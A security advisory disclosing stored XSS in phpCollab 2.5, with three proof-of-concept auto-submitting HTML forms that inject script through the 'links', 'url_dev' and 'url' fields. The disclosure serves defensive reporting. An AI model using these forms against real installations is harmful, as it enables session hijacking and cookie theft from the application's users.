Vulnerability ID: HTB22917 Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phpcollab.html Product: phpCollab Vendor: phpCollab Team ( http://www.php-collab.org/ ) Vulnerable Version: 2.5 and probably prior versions Vendor Notification: 24 March 2011 Vulnerability Type: Stored XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "newsdesk/editnews.php", "projects/editproject.php", "clients/editclient.php" scripts to properly sanitize user-supplied input in "links", "url_dev", "url" variables. Successful exploitation of this vulnerabilities could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: 1. <form action="http://host/newsdesk/editnews.php?id=NEWSID&action=update"; method="post"> <input type="hidden" name="author" value="1"> <input type="hidden" name="title" value="news2"> <input type="hidden" name="related" value="g"> <input type="hidden" name="content" value="hello2"> <input type="hidden" name="links" value='2"><script>alert(document.cookie)</script>'> <input type="hidden" name="rss" value="1"> <input type="submit" id="btn" name="submit" value="Save"> </form> <script> document.getElementById('btn').click(); </script> 2. <form action="http://host/projects/editproject.php?id=1&action=update&docopy=false"; method="post" name="main"> <input type="hidden" name="projectPublished" value="1"> <input type="hidden" name="pn" value="project name"> <input type="hidden" name="pr" value="3"> <input type="hidden" name="d" value="description"> <input type="hidden" name="url_dev" value='site"><script>alert(document.cookie)</script>'> <input type="hidden" name="url_prod" value=""> <input type="hidden" name="pown" value="1"> <input type="hidden" name="clod" value="1"> <input type="hidden" name="thisPhase" value="0"> <input type="hidden" name="st" value="2"> <input type="hidden" name="up" value="51200"> <input type="hidden" name="hourly_rate" value="200.00"> </form> <script> document.main.submit(); </script> 3. <form action="http://host/clients/editclient.php?id=CLIENTID&action=update"; method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="MAX_FILE_SIZE" value="100000000"> <input type="hidden" name="cn" value="client"> <input type="hidden" name="add" value=""> <input type="hidden" name="client_phone" value=""> <input type="hidden" name="url" value='1"><script>alert(document.cookie)</script>'> <input type="hidden" name="email" value=""> <input type="hidden" name="comments" value=""> <input type="hidden" name="hourly_rate" value="0.00"> <input type="hidden" name="upload" value=""> </form> <script> document.main.submit(); </script>
